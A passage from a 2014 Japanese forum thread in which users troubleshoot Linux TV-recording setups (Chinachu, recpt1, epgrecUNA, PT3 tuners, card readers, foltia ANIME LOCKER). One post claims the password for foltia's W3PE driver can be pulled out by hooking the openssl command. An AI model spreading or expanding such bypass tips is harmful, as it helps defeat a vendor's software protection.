作者はよくこれを管理できるな。素直に感心する。

226 :login:Penguin:2014/03/02(日) 20:56:15.57 ID:YvLVGd0r.net
>>219
Apple HTTP Live Streamingに対応してるよChinachuは

227 :login:Penguin:2014/03/02(日) 21:15:11.31 ID:KaCPhf0w.net
LinuxでTV録画する際、コマンドrecpt1で番組情報(EPGデータ)をtsファイルに記録することはできる?

たとえばMXの「凪の明日から」→「ソードアートオンライン」という番組編成で、
ソードアートオンラインをChinachuを通しrecpt1コマンドで予約録画すると
Tvtest上部の番組名が「凪の明日から」から変わらないのに対し、

WindowsPCでECDBで録画し、録画した番組を見ると
番組前のCMでは番組名は「凪の明日から」

23:30から「ソードアートオンライン」が始まると、
番組名が「ソードアートオンライン」に変わる

となる

これはたぶんECBDは放送波に含まれるEPGデータもセットで録画できるのに対し、
recpt1だとEPGデータはうまく録画できないから?(番組表更新のためのEPG受信はうまくできてます。)
他にも番組情報(EPGデータ)を使ったソフトを使用しているので、
recpt1で番組情報を正しくtsファイルに保持したまま録画したい。

LinuxはCentOS6.5 64bitでrecpt1はSTZ版を使用

228 :login:Penguin:2014/03/02(日) 21:40:02.65 ID:YvLVGd0r.net
TVTestって録画ファイル再生できんの?

229 :login:Penguin:2014/03/03(月) 00:03:32.68 ID:hxhc1A2q.net
>>228
Tvtplayってプラグイン使えばできる。

https://github.com/xtne6f/TvtPlay

【TVTest】 TvtPlayについて語るスレ Part 3
http://toro.2ch.net/test/read.cgi/avi/1385986890/

230 :login:Penguin:2014/03/03(月) 00:55:10.06 ID:6a3eupsQ.net
--sid hd なだけなんではないか
recpt1 単体で試してみたら

231 :login:Penguin:2014/03/03(月) 01:08:13.53 ID:iRoop0Y9.net
EIT[p]を保存するようにすればできるんじゃないか。
PIDは--sid epgにしたとき保存対象になる中のどれか。

232 :227:2014/03/03(月) 03:07:33.55 ID:hxhc1A2q.net
>>230
>>231
ありがとうございました。
できました。


SIDってそういう意味だったのか・・・
--help見ても英語で
SIDでググってもCSのチャンネルの話しかなくて見落としてました。

233 :login:Penguin:2014/03/03(月) 17:20:29.03 ID:4g83Q5Br.net
chinachuの番組表がいい感じになったと聞いて、
しばらく使ってなかったのをupdateして試してみたんだけど前と変わってない。
新しい番組表にするにはどうすればよいでしょう?

234 :sage:2014/03/03(月) 20:03:49.39 ID:ivM43Bs7.net
epgrec UNAで、EPG情報が3/1から取得できなくなりました。
解決方法知っている方、いませんか。

235 :83:2014/03/03(月) 20:10:50.08 ID:DVmbj1dH.net
>>233
config.json、rules.jsonやdata/ をバックアップしといて
インストールし直せば?

ウチも番組表の表示変わったってことで、
新規にインストールし直した。
config.json、rules.jsonは古いChinachuから流用してちゃんと動いてる。
もちろん番組表の表示も変わった。
結構いい感じ。

あとはiosからのライブ視聴が
ちゃんと動いてくれれば...

236 :login:Penguin:2014/03/03(月) 21:19:53.62 ID:8DCe2auh.net
>>235
いけますた

237 : 忍法帖【Lv=8,xxxP】(1+0:8) :2014/03/03(月) 21:32:37.74 ID:RcBD1yC5.net
>>234
こっちは取れてる気がする
どこか設定でもいじったんじゃないの?

238 :login:Penguin:2014/03/03(月) 21:57:26.94 ID:WNCwc8nt.net
どうも環境依存らしいね
ubuntu12.04(PHP5.3.10 MySQL5.5.35)では出てないよ

ログみてりゃもっと早くわかったと思うんだが
どうにもならなくなってから相談してたらあかんでしょ
録画に支障が出るだろうに

239 :login:Penguin:2014/03/03(月) 22:20:00.79 ID:4PdbZfyb.net
>>234
俺が以前UNA使ってた時に、EPG取得用テンポラリファイルがいつの間にか溜まりまくって
システムHDDがいっぱいになったせいでEPGが新規に取得出来なくなったことがあるんだけど、
その辺は大丈夫?

240 :login:Penguin:2014/03/03(月) 23:24:24.48 ID:3g7vwp5D.net
>>233
ブラウザキャッシュとか?
Chrome だと、強制リロード S-C-r でも、js 経由で読むデータのキャッシュは
破棄されないから、developer tool の操作でキャッシュ破棄する必要ある。

241 : 忍法帖【Lv=3,xxxP】(1+0:8) :2014/03/04(火) 00:45:53.33 ID:G0pkJtIM.net
>>234
同じ症状出ててた
PC壊れて再インストールしたばかりだったので
cronで読んでる番組更新のPHPが
今の階層にあってなかったという落ちでしたが
最初の番組取得では正常だったので気がつかなかった

242 :login:Penguin:2014/03/04(火) 01:04:55.06 ID:kV6jhNUp.net
>>234
ログとかはどうなのよ

243 :login:Penguin:2014/03/04(火) 19:46:17.91 ID:xX5y1T4W.net
一つのチャンネルに何個も番組表はいってるじゃないですかー。
Chinachuで使わない番組表だけ無効にできます?

244 :234:2014/03/04(火) 22:18:10.75 ID:E0i5kteK.net
Ubuntu 12.04LTSでした。
DBを一回削除して、様子見たんですがだめでした。
その後、Ubuntu のPHPセキュリティアップデートが今日出たので
それを適用して、更新したらEPG情報が取れるようになりました。
ありがとうございます。

245 :login:Penguin:2014/03/09(日) 23:40:23.78 ID:Pqboft5p.net
MythTV 0.26 + ISDBパッチ + PT3な環境で、
ISDB-Sの視聴に成功したようです。

詳しくは、@wikiで
ttp://www43.atwiki.jp/mythtv-dvb/

246 :login:Penguin:2014/03/10(月) 00:05:35.26 ID:E8/VysdB.net
@wiki。。

247 :login:Penguin:2014/03/10(月) 00:05:40.14 ID:NPT1K+yt.net
いまatwikiとか恐ろしくて行けないだろw

248 :login:Penguin:2014/03/10(月) 00:59:19.63 ID:cvO/P/MU.net
MythTV か・・・
ずっと前にEDEN の PCと アナログTVカードでやってみたきりだったな

試してみようかな

249 :login:Penguin:2014/03/15(土) 11:46:26.68 ID:uisk12lk.net
chinacu updaterしてみたら番組表が縦表示になって使いにくいorz
元に戻したいけどconfig.jsonで変更する項目がみつからない・・・

あとEXって項目あるけど、LinuxでISDB-S2受信できてる奴いる?
TBS-69xxxシリーズでJSAT-3a,4b掴もうとしても引っかかりもしないw

250 :login:Penguin:2014/03/15(土) 13:14:48.55 ID:W28e8CoW.net
>>249

Chinachuの人が何か作ってるよ
https://github.com/kanreisa/szap-s2j

251 :login:Penguin:2014/03/18(火) 01:38:01.78 ID:0UYyqp4f.net
Fedora20でDVBドライバ使っている人っています?
どうしてもコンパイルが通らないのですが・・・
(開発環境をインストールしていないという初歩的なミスではない)

ちなみに使いたいカードは、MonsterTV HDP2という古いカード
マイナーすぎてLinuxでの使用レポートが少ないっ

252 :login:Penguin:2014/03/18(火) 06:39:10.53 ID:Q5DLEepS.net
マイナーなカードは自力で解決できないなら、あきらめろ試合終了だ・・・

253 :login:Penguin:2014/03/18(火) 11:47:31.13 ID:7DqZkBZk.net
>>251
どこで通らないとか
コンパイルのエラーメッセージはなんだとか
自分で試したことは何か
何も情報出さないのにどうアドバイスすればいいんだよ
で、アドバイスするとそれはもう試しましたとか言うんだろ
勘弁してくれよw

254 :login:Penguin:2014/03/18(火) 14:50:58.30 ID:YCLg7d3b.net
pcscdがらみで質問です。情報持っていらっしゃるかたいらっしゃいましたら教えて下さい

現在ubuntu 12.04 /PT3/Gemalt USBカードリーダ epegrec にて録画環境構築しています。
サーバを起動(再起動)かけてしばらくの間は問題なく録画できる状態なのですが、
どこかのタイミングでUSBデバイスが認識できなくなってしまいます。

このタイミングが明確にわからないのですが(syslog探ってもトリガーがわからない)
1〜2日ぐらいでUSBのpcscリーダ自体が認識されなくなります。

試しにサービスのリスタート(service pcscd restat) をかけると
Mar 18 14:01:35 XXX pcscd: ccid_usb.c:499:OpenUSBByName() Can't claim interface 3/2: -6
Mar 18 14:01:35 XXX pcscd: ifdhandler.c:102:IFDHCreateChannelByName() failed
Mar 18 14:01:35 XXX pcscd: readerfactory.c:965:RFInitializeReader() Open Port 0x200000 Failed (usb:08e6/3437:libudev:0:/dev/bus/usb/003/002)
Mar 18 14:01:35 XXX pcscd: readerfactory.c:275:RFAddReader() Gemalto GemPC Twin (4CE36E9F) init failed.
Mar 18 14:01:35 XXX pcscd: hotplug_libudev.c:377:HPAddDevice() Failed adding USB device: Gemalto GemPC Twin

これを吐いて認識できなくなるようです
ただし、頻度は高くないですがたまに問題なくサービスがリスタートできる時もあります。

カードリーダ周りで入っているパッケージは
ii libccid 1.4.5-1
ii libpcsclite1 1.7.4-2ubuntu2
ii pcsc-tools 1.4.18-1
ii pcscd 1.7.4-2ubuntu2

こんな感じです。
全く認識されないとかいうケースはググっても結構出てきますが、稼働中に認識できなくなるっ
ていうケースが少ないのか
ヒットしません。
よろしくお願いいたします。

255 :login:Penguin:2014/03/18(火) 22:22:13.93 ID:oMtlMuP3.net
>>254
稼働中にUSBデバイス見失う状況はマザボの電解コンデンサが妊娠状態になって発生したことがある
24H電源入れっぱなしで4年弱のころで4個交換して復活した

256 :login:Penguin:2014/03/18(火) 22:35:54.19 ID:ue/vwGVT.net
>>254
ソース見るしかないんじゃね
原因がハード由来なら見ても意味ないんだけど

257 :255:2014/03/18(火) 22:43:12.18 ID:oMtlMuP3.net
ソース…じゃなくて写真だけど
ttp://www1.axfc.net/u/3197864.jpg

258 :login:Penguin:2014/03/19(水) 00:40:15.24 ID:NAhchBGZ.net
そもそも他機器繋いで機能すんの?
じゃないとスレ違いだから

259 :login:Penguin:2014/03/19(水) 10:12:20.05 ID:QxrA/BI7.net
>>255
> >>254
> 稼働中にUSBデバイス見失う状況はマザボの電解コンデンサが妊娠状態になって発生したことがある
> 24H電源入れっぱなしで4年弱のころで4個交換して復活した

>>256
>ソース見るしかないんじゃね
> 原因がハード由来なら見ても意味ないんだけど

ありがとうございます。
なるほど、そっち(コンデンサ)の可能性もあるんですね。
マザボの方の問題とは思っても見ませんでした。
今度マザボのコンデンサ自体を見てみます。

コンデンサの写真まで掲載してもらってありがとうございました。

ドライバのソースは一応見てみたんですが解決できるほどの知識がなくそっちはお手上げっす。

マザー起因だと面倒すねぇ、、DN2800気に入ってるんですが。

260 :login:Penguin:2014/03/19(水) 13:28:06.65 ID:J5MqdN5L.net
2年前のマザボ疑うんなら電解コンデンサーの塊、電源も疑うよろし
あとUSBポートの変更は当然やってるあるな?

261 :login:Penguin:2014/03/19(水) 17:23:25.63 ID:l+NYviVb.net
>>259
DN2800MT?
黄色いほうのUSBに刺してる?
黒い方は容量足りなくなる事あるよ。

262 :login:Penguin:2014/03/19(水) 19:28:57.22 ID:QxrA/BI7.net
254 です

>>260
>>261
ありがとうございます。
USBポートの変更はやっとります。
ただ、真ん中の黄色い方を意識して使ってたか記憶が定かじゃないのでやってみます!
ついでに背面のポート以外にオンボード上の9pinにもためしてもやってみます。
ACアダプタのほうは考えても見ませんでした。

そういやコンデンサが怪しいんじゃない?っていう話をうけて仕事しながら
なんとなく考えていたんですが、どこかでDN2800MTってUSBのバスパワーが
不安定だって記事を見た覚えがあるんですよね。
なんで、セルフパワーのUSBハブかましてみようかと思います。

ずっとドライバの問題か?と疑ってたので物理方面で
当然確認するべきことを失念していて恥ずかしい限りです。

ありがとうございます。

263 :login:Penguin:2014/03/21(金) 14:24:17.72 ID:jt99ZH7x.net
Lubuntu12.04にGV-MVP/RXLEを使ってSビデオ入力を視聴しようとしていますが
映像は普通に再生しますが、音声だけスロー再生になってしまいます。

/etc/modprove.d/options.conf に
oprions ivtv cardtype=13 tuner=46 ntsc=j
としてGV-MVP/RXとして認識させて

v4l2-ctl -d /dev/video0 -i 1 -s 2
aplay --buffer-time=0 -f dat < /dev/video24 &
mplayer -framedrop -nocache /dev/video32 -demuxer rawvideo -rawvideo ntsc:hm12:fps=29.97 -vf pp=l5 -aspect 4:3 -vo gl && killall aplay
として再生しています。
音声がスローにならないようにするにはどうすればいいのでしょうか?

264 :login:Penguin:2014/03/21(金) 19:26:20.88 ID:jt99ZH7x.net
cardtype=2でバグ画面になった後に再起動すると普通に再生されるのが分かりました。
試しに別にインストールしていたXubuntu12.04の方は普通に再生できたので
Lubuntuに原因があるのかも知れません。

Radeon7500を使ってるのですが、MPEG2再生支援が効かないみたいでCPU使用率が高いです。
再生支援を効かせる方法はあるのでしょうか?

265 :login:Penguin:2014/03/21(金) 19:56:12.67 ID:Heg0938J.net
どうせまたシカトなんだろ

266 :263:2014/03/22(土) 12:57:12.62 ID:Y/i2UT8/.net
今起動したらXubuntuも同じだったw

267 :login:Penguin:2014/03/23(日) 10:47:30.55 ID:yiZLexYF.net
>>251
kernel の DVB コードって MTVHD の DVB 版が開発された頃とかなり変わって
いるので、自力で何とかしないとダメな気がする。
自力できないなら、CentOS とか古いカーネルのディストリ使うしか…

268 :login:Penguin:2014/04/03(木) 21:25:58.45 ID:OmryEff3.net
epgrecって、キーワード予約で同じ条件、同じワードを幾つも登録できてしまうね
で、ひとつ削除すると既存予約状態が解除されてしまう
ソース見てないけど、登録前にチェックしてないのかな

269 :login:Penguin:2014/04/04(金) 01:15:27.94 ID:MDopI1hX.net
やっとPT3買えてもうすぐ来るんだけど、PT2とは同じrecpt1で使い分けられないんだっけ?
もしくは二枚差しのどちらかをDVBとmythtvで使いたいんだが、今のアップストリームの0.27って対応してあるのかな?

270 :login:Penguin:2014/04/04(金) 01:18:44.50 ID:SZUmO7S1.net
普通に使える

271 :login:Penguin:2014/04/04(金) 01:28:26.85 ID:KPSi74HF.net
recpt1て配布してる状態で/dev/pt3video?に対応させてたっけ

272 :login:Penguin:2014/04/04(金) 02:08:11.18 ID:2IUJI7VT.net
オプションで指定すればいい

273 :login:Penguin:2014/04/05(土) 10:54:12.10 ID:0ZK6Blt9.net
>>271,272
↓のpt1_dev.hとrecpt1.hに対する変更がPT3対応。デバイス名指定しなくても勝手に探してくれる
ttp://hg.honeyplanet.jp/pt1.oyama/rev/5eab7c73a28a

274 :login:Penguin:2014/04/05(土) 16:47:17.90 ID:pPmK40tK.net
recpt1やepgdumpとか色々フォークされててややこしいよな

275 :login:Penguin:2014/04/06(日) 01:07:42.02 ID:dtMmoLaE.net
質問です。現在、ANIMELOCKER+PT3を利用してるのだけど、linuxでもwindows環境でもいいのだが
ANIMELOCKERと同程度以上の録画/視聴環境を手軽に構築できるフリー環境のオススメってありますか?

276 :login:Penguin:2014/04/06(日) 01:30:18.00 ID:bemTgdsX.net
FoltiaALはかなり作りこまれてるから
「同等以上」というのは難しいんじゃないかねぇ

277 :login:Penguin:2014/04/06(日) 01:31:15.41 ID:nK9Vps3D.net
ここで聞いてる時点でお察しなお前にお勧めなんて無いよ
そのままfoltiaAL使ってろ

278 :login:Penguin:2014/04/06(日) 17:30:30.18 ID:hmyy2Qlz.net
foltiaから別のものに乗り換え組だが、foltia使ってろ、このモフモフ鼬野郎

279 :login:Penguin:2014/04/07(月) 02:00:02.16 ID:7Y+jM9ks.net
この流れの中で質問しにくいが、ANIMELOCKERを検討してる者です
ホットスワップが出来るケースで使用予定だけど、ANIMELOCKERではHDDのホットスワップって出来るのでしょうか?
たまり次第どんどん入れ替え予定なのですが

280 :login:Penguin:2014/04/07(月) 02:43:30.37 ID:g8xJiIGI.net
>>279
Linuxでのホットスワップに疎いので参考程度にとどめて欲しい。

デフォルトだと録画領域がLVMで組まれる。
なのでホットスワップで使うにはちょっと面倒と思う。

ホットスワップさせるディスクは通常の録画エリアとは別にマウントさせて、録画後のデータを都度コピーさせていくか、根本から作りを自分好みに調教していくか。

とりあえず評価版で試してみりゃどうね?

281 :login:Penguin:2014/04/07(月) 12:52:17.50 ID:5idKJBFX.net
>>275
無理

282 :login:Penguin:2014/04/07(月) 12:53:37.87 ID:5idKJBFX.net
recpt1とepgdumpとepgrecを各々亜種をマージしてGitHubに頼むわん

283 :login:Penguin:2014/04/07(月) 22:47:08.09 ID:SuYevGW3.net
>>279
280も言ってるけどfoltiaALでは
ボリュームマネージャのLVM2が採用されてる

これは録画容量が足りなくなって
後からDiskを追加した時に
スライス切り直しや
ファイルシステム作成し直しすることなく
容量を拡張できるようにするため

lvmの機能でデータを退避させてDiskを抜くこともできるけど
退避までに数時間かかる場合もある

語弊を承知の上でいえば
RAID0を構成しているイメージに近い

Windowsのドライブ単位でのホットスワップをイメージしてるなら、
出来ない、と言う回答になるね

284 :login:Penguin:2014/04/08(火) 00:15:30.07 ID:4pMFaN+S.net
ttp://aniloc.foltia.com/manual/chapter3-1-3.html
ここのマウント先を変えたらできないんか。
持ってないから知らんけど。

285 :login:Penguin:2014/04/08(火) 01:58:30.48 ID:6UdJdYoS.net
ディレクトリ指定でなくデバイス指定だから・・・
一回試したらうまいこと設定されんで、システムパーティションごとパーティションテーブルが変なったさ

故人的にゃ、PTシリーズ使っているならchinachuのが融通効くと思う。

286 :login:Penguin:2014/04/08(火) 02:44:14.33 ID:ofgZtVMg.net
>>279
仮にLVMを使わずに録画領域を設定したとしても
録画データはデータベースで管理されてるので難しい

287 :login:Penguin:2014/04/08(火) 03:49:06.44 ID:yAzuC6q1.net
foltiaALはPT2のドライバも入ってるらしいですが、DIR-EB262-C13にPT2を2枚刺しとかでも大丈夫ですか?

288 :login:Penguin:2014/04/08(火) 08:12:03.07 ID:6UdJdYoS.net
http://download.foltia.com/evaluation/foltia_ANIME_LOCKER_Netinstall-R10.iso

試せ

289 :login:Penguin:2014/04/08(火) 20:06:07.67 ID:yAzuC6q1.net
>>288
DIR-EB262-C13の方の購入を検討してる段階です

290 :login:Penguin:2014/04/08(火) 20:12:02.11 ID:6UdJdYoS.net
コレか。部屋の片隅に転がってたわ。http://i.imgur.com/E6wXwiO.jpg

大丈夫だ問題ないポチれ。
※但しマザボとの相性は知らん。

291 :login:Penguin:2014/04/12(土) 14:59:34.78 ID:ZAeJcral.net
>foltia ANIME LOCKER 3.0 DVD版 FL-DV1の弊社からの出荷を終了させていただきました。今後は流通在庫のみとなります。
メジャーバージョンアップの予感?永久ライセンスないし、今は買えんなこりゃ

292 :login:Penguin:2014/04/13(日) 03:47:41.70 ID:f5n1hpz5.net
>>291
問い合わせてみた。噂通り速攻で返信来るなw

申し訳ございませんが未発表の今後の予定を個別にお話することは出来ません。
また、メジャーアップデートの際には有料アップデートを予定しております。
3.0よりライセンス形態を変更することにより五千円程度の値下げを実現し、多くのお客様からよりお求めやすくなったとのご好評を頂いております。
また、2.0と3.0につきましては、併売期間を長く設定しておりましたために、多くのお客様に希望するライセンス形態と価格をお選びいただけたのではないかと考えております。

293 :login:Penguin:2014/04/13(日) 11:31:34.41 ID:XootDx1E.net
永久ライセンス版を買ったオレは勝ち組?

。。。使ってないけどw

294 :login:Penguin:2014/04/13(日) 18:28:39.90 ID:rMWKG1bU.net
>>293
永久ライセンスがなかったことになるんじゃね?
別製品扱いになって

295 :login:Penguin:2014/04/13(日) 20:58:06.45 ID:f5n1hpz5.net
>>294
流石にそこまで反感買うことはしないだろう

>>293
こんなことで買ったと思える状況なら、社会的には負け組かも
でも結局自分ジャッジで勝ちと思った人が勝ちなので、勝ち組ともいえる
いずれにしてもうらやましい限りだ

296 :login:Penguin:2014/04/13(日) 22:27:41.27 ID:XootDx1E.net
不快にさせたら謝る
所詮、売り文句に踊らされただけのような気がするよ。。。

297 :login:Penguin:2014/04/20(日) 16:44:10.06 ID:ZG5HEhap.net
>297
EPGREC , foltia , chinachu などは
常時稼働が前提

試したことないけど、MythTVは電源断ができたと思う

298 :login:Penguin:2014/04/20(日) 17:11:28.64 ID:zZcXD4q8.net
自分ちは稼働率低いのでwakealarm使って電源OFFしてる
epgrecでのやり方なら検索すればみつかる

299 :login:Penguin:2014/04/20(日) 17:12:05.76 ID:OBKZm5zz.net
んなこたない

300 :login:Penguin:2014/04/20(日) 17:12:46.61 ID:OBKZm5zz.net
>>299>>297

301 :login:Penguin:2014/04/21(月) 01:51:32.01 ID:gEFm7hIh.net
本家のepgrecは省電力に対応してなかったっけ

302 : ◆S7rG.xIpRI :2014/04/21(月) 06:44:51.44 ID:2PM4kE/m.net
>293
売ってくれ
値段は応相談

303 : 忍法帖【Lv=32,xxxPT】(1+0:8) :2014/04/22(火) 23:44:56.34 ID:vwfhE+sQ.net
>>297
Linuxなら、シェルスクリプト組めば良いと思うの

304 :login:Penguin:2014/04/23(水) 00:50:07.68 ID:KmtF+df/.net
それやる位なら foltiaに電源管理を組み込んだ方が良いと思うがw
>>297にその能力が無いなら foltiaALにするか Windowsをアップグレードした方がいいと思う。

305 :login:Penguin:2014/04/23(水) 01:48:28.63 ID:9WPHr/yj.net
foltiaALって電源管理できたっけ?

306 :login:Penguin:2014/04/23(水) 09:28:54.72 ID:b4tKZsRX.net
>>301
テスター募ってたのはここで見た

307 :login:Penguin:2014/04/27(日) 23:43:29.73 ID:0bD78R1c.net
epgrecUNAなんですが、録画予約が消えません。
epgrecUNA上では消えるのですが、at jobが残っています。
ログにも「予約ID:3045を削除しましたが AT-JOB:の削除に失敗しました。 (JOBが有りませんでした)」とあります。
atqで見るとやはり残ってます。jobの所有者はrootでした。
atrmしてやると消えます。
何か原因がわかる方いらっしゃいますでしょうか。

308 :login:Penguin:2014/04/28(月) 00:35:39.36 ID:DBxb0ATb.net
>>307
答え自分で書いてない?

309 :login:Penguin:2014/04/28(月) 01:10:46.99 ID:KFG9h+OP.net
いあー。それがさっぱりで。
パーミッションあたりかとも思ったのですが、
作るときにrootなんだから、消すときもrootだよなぁと。

310 :login:Penguin:2014/04/28(月) 01:45:30.25 ID:XgA0l5kV.net
CentOS+PT3の質問とかココでおk?

311 :login:Penguin:2014/04/28(月) 02:12:06.67 ID:vtL0Xj6J.net
chinachuでのWebMエンコードストリーミングにはどのくらいのスペックが必要?

312 :login:Penguin:2014/04/28(月) 09:01:41.41 ID:5VbcaOAd.net
Core2Duoじゃ足りなんだ。
初代i7で余裕だった。
初期値の映像1Mbps、音声96kbpsぐらいで。

っていうか、多分スレチ
Linuxでテレビ総合スレか、DTV板のが好ましいかと。

313 :login:Penguin:2014/04/28(月) 09:02:41.01 ID:5VbcaOAd.net
ごめん寝ぼけてた。
ちょっと>>315に掘られてくるo.. rz

314 :login:Penguin:2014/04/28(月) 14:59:43.62 ID:xl+PcSIQ.net
ちょっと>>313を掘ってくる

315 :login:Penguin:2014/04/28(月) 20:28:41.08 ID:dZ8oN+q2.net
>>313
C2Dで無理ならG1820でも無理だよな

それはさておき人にモノを頼むときはこうやってお願いするんだぜ→or2

316 :login:Penguin:2014/04/28(月) 20:30:01.39 ID:vtL0Xj6J.net
>>313
C2Dで無理ならG1820でも無理だよな

それはさておき人にモノを頼むときはこうやってお願いするんだぜ→or2

317 :login:Penguin:2014/04/28(月) 20:43:12.53 ID:5x2eoSJZ.net
intelのqsvでエンコってlinuxでできるの?

318 :login:Penguin:2014/04/28(月) 20:53:59.86 ID:YBoTzmmy.net
動画・音声関係ソフトウェア総合 8
http://maguro.2ch.net/test/read.cgi/linux/1339817036/

319 :login:Penguin:2014/04/29(火) 03:59:23.43 ID:ZGq+w8bg.net
>>315
おれG1820Tつかってるけど、
初期値の解像度1280x720 映像1Mbps 音声96kbps いけてるで。
CPU 53〜60%くらい。
2番組録画中でもこんなもんだった。

全部MAXはブッチブチで無理だった。

320 :login:Penguin:2014/04/29(火) 09:27:56.93 ID:vyadcz4q.net
>>307
getepg.phpのcronがrootで実行されてんじゃね?
これだとキーワード予約がrootでatされる

321 :login:Penguin:2014/04/29(火) 13:12:41.93 ID:ELZUHVys.net
>>320
多分こういう人はrootが特別なユーザだって事から説明してあげないといけない
このスレ的には>>307だけで完結してる

322 :login:Penguin:2014/04/29(火) 13:39:54.33 ID:XsTzL/0V.net
てか去年の年末に改善されてるんだよね
古いのを使い続ける奴は自己解決しやがれ

323 :login:Penguin:2014/04/29(火) 15:26:46.61 ID:ZNdXx4st.net
なるほど。
消すときはWebからなのでapacheでjobが作られてないと消せませんね。
でもcronの設定ではapacheで実行するようになってました。
epgrecUNA以外の所が原因かもしれません。

変なのも湧いてきたしあとは自分で何とかします。
ありがとうございました。

324 :login:Penguin:2014/04/29(火) 16:26:21.07 ID:x/BTOF0F.net
この手合いは人に助けを求めておいといて、
障害が解決してもその報告をしに来ない恩知らずだろうな。

325 :login:Penguin:2014/04/29(火) 17:00:46.54 ID:ZNdXx4st.net
お前らみたいなのが湧いたら、そんなものする気失せるわ。

326 :login:Penguin:2014/04/29(火) 17:29:56.80 ID:x/BTOF0F.net
だから恩知らずだって言ってるじゃん。

情報後出しで、できません、分かりません、ちょっと煽られたら
ふてくされて「自分で何とかします」かよ。
コミュニティへの貢献意識ゼロだなw

絡まれると面倒なので先に断っておくが、コミュニティってのは
このスレのことじゃないからな。

327 :login:Penguin:2014/04/29(火) 17:31:59.34 ID:ZNdXx4st.net
いや、おまえらこそ変な茶々入れて盛り下げてることを自覚しろよ。

328 :login:Penguin:2014/04/29(火) 17:50:15.11 ID:9Ke+EExa.net
盛り上がって参りました

329 :login:Penguin:2014/04/29(火) 17:54:15.21 ID:wCW/FZ9/.net
いやいやいやここはおれが。

330 :login:Penguin:2014/04/29(火) 18:00:01.98 ID:XsTzL/0V.net
おまえ『ら』ってオレも入ってるんか?w

331 :login:Penguin:2014/04/30(水) 01:01:32.85 ID:5Zedrv+X.net
UNAって自分で修正しようと思ってもおいそれとは手を出せないよな

332 :login:Penguin:2014/04/30(水) 02:52:35.06 ID:2OgepfBJ.net
>>319
おお、ありがとう

chinachuは入れて録画もできるんだが、libvpxのインストールが途中でとまっちゃうんで、
本腰入れて解決してもスペック不足で使えないんじゃ意味ないと思って確認したかった

333 :login:Penguin:2014/04/30(水) 12:22:34.87 ID:3gmqxmbg.net
>>332
ちなみちchinachu実機で再生したことないから、その場合はもっとCPUくうな。

334 :login:Penguin:2014/05/01(木) 00:34:10.25 ID:KMcrmJZQ.net
Chinachu最新にアップデートしたら
node.js v0.10 だと起動時にこけてしまう…

335 :login:Penguin:2014/05/01(木) 00:50:25.32 ID:uXb4jdjF.net
>>334
ChinachuってNodeもよろしくインストールしてくれるじゃん

336 :login:Penguin:2014/05/01(木) 01:16:10.98 ID:KMcrmJZQ.net
>>335
うへぇ
Node.jsもバンドルされてるんだね。初めて知った...
ローカルのNode.jsアンインストールしたら無事動いたわ。ありがとう

337 :login:Penguin:2014/05/01(木) 02:47:55.03 ID:uXb4jdjF.net
>>336
なるほど
https://github.com/kanreisa/Chinachu/blob/master/chinachu#L49

338 :login:Penguin:2014/05/01(木) 10:21:23.16 ID:kWd0d7dD.net
chinachuスクリプトだとnode.jsはnave.shを使ってchinachu配下にインストール
されるけど、パッケージとか自前コンパイルのをインストールしても動くはず。
PATHはちょっと変える必要あるかもしれんが。

339 :pt1.oyama:2014/05/02(金) 15:28:39.14 ID:pGwISh0n.net
さて、連休で暇なのでrecpt1いじるよ
なにとなにとなにをマージすると最強になれる?

pt1.oyamaのDLNAは残しつつ、ES出力は削っちゃう予定。
httpサーバ版とバグフィックス幾つかぐらいを念頭に置いています。

340 :login:Penguin:2014/05/02(金) 16:22:12.10 ID:FZEVFZhz.net
それは素晴らしいのでマージ後はGithubにでも上げてもらえませんでしょうかね

341 :login:Penguin:2014/05/02(金) 17:47:33.79 ID:eFOW9S2F.net
>>339
気が向いたら結構なので、W3PEの対応と、W3PEでsidオプション指定時にepgを設定しても無視される事象を治してくれたら、きっと俺は嬉しさで悶え死ねる。

W3PEの対応はfoltiaALの内部でパッチが当てられてる臭いけど、ソースが公開されておらず、難読化もされているっぽい。
なので俺にゃお手揚げ。

342 :login:Penguin:2014/05/02(金) 18:55:01.16 ID:v42JcFsI.net
>>339
どれをベースにするのでしょうか?
正直なところ pt1-oyamaは、少数派だと思います。
私個人は、新本家(http://hg.honeyplanet.jp/pt1/ )の最新版に以下のhttpサーバ・パッチをあてたものを使用しています。
http://www1.axfc.net/uploader/Sc/so/377422

>>341
>W3PEでsidオプション指定時にepgを設定しても無視される事象を治してくれたら、きっと俺は嬉しさで悶え死ねる。
epg指定を最後にすると通ると思うよ
--sid hd,epg
こんな感じで
これは、上記のhttpサーバ・パッチで修正されていると思った。

W3PE用recpt1のソースは、一応公開されています。URLは忘れた。
新本家とほぼ同じだけどひとつ非公開関数をコールしている。(たぶんドライバーとのチャンネル関係のやり取り)

343 :login:Penguin:2014/05/02(金) 22:24:40.21 ID:uX75vGtb.net
ttp://aniloc.foltia.com/opensource/recpt1/

344 :login:Penguin:2014/05/03(土) 00:30:21.58 ID:R4I77RzK.net
recpt1のライセンスってどうなってるんだっけ

345 :login:Penguin:2014/05/04(日) 11:07:11.26 ID:bbthz8eB.net
http://hg.honeyplanet.jp/pt1/ のrecpt1で、スカパーをsidオプションで観たいチャンネルとepgだけ記録していたんだが、
2〜3日連続して動かしていると各映像・音声はそのままでepgデータが失われている現象に遭遇した。
だれか原因わかる人います??

346 :login:Penguin:2014/05/04(日) 22:07:29.17 ID:f+E2eVtj.net
foltiaのW3PEのドライバ部分はopensslコマンドをフックする事でパスワードを抜く事が出来る
今は違うかもしれないけど

347 :login:Penguin:2014/05/04(日) 22:13:40.29 ID:VV+o7Fl7.net
ブルボン・ホワイトfoltia

348 :login:Penguin:2014/05/05(月) 14:04:26.42 ID:zEl4pCKAF
foltia anime lockerで難視聴対応にするとNHK系がTSで見れなくなるんだが、
これの回避策ってあるか?難視聴ではテレ東だけ見れればいいんだが...

349 :login:Penguin:2014/05/06(火) 04:14:27.16 ID:HAnmH/65.net
>>339
更新されたっぽいので早速落としました。感謝。

350 :login:Penguin:2014/05/07(水) 07:44:29.46 ID:UNpwbhO+.net
それは録画以前の問題なのでmanなんとかしたりgoogle様におながいしたりして頑張らないと

351 :login:Penguin:2014/05/11(日) 21:14:24.12 ID:f+bVakdY.net
婆ちゃんがBSCS見たいつうからアンテナ建てたんで、録画鯖にチャレンジしようと
思い、1スレ目から読んで面白かった。

VM上でコンパイルこけて、このレスが役にたった。ありがとう

【視聴・録画】Linuxでテレビ総合7【デジタル/アナログ】 (Linux板)

761 login:Penguin 2012/11/27 (火) 18:01:17
自分はfriioじゃないけど、同じようにUbuntu12.04にしてからb25で躓いたことがあるんで、もしかしたらMakefileのgccオプション問題じゃないのかな。
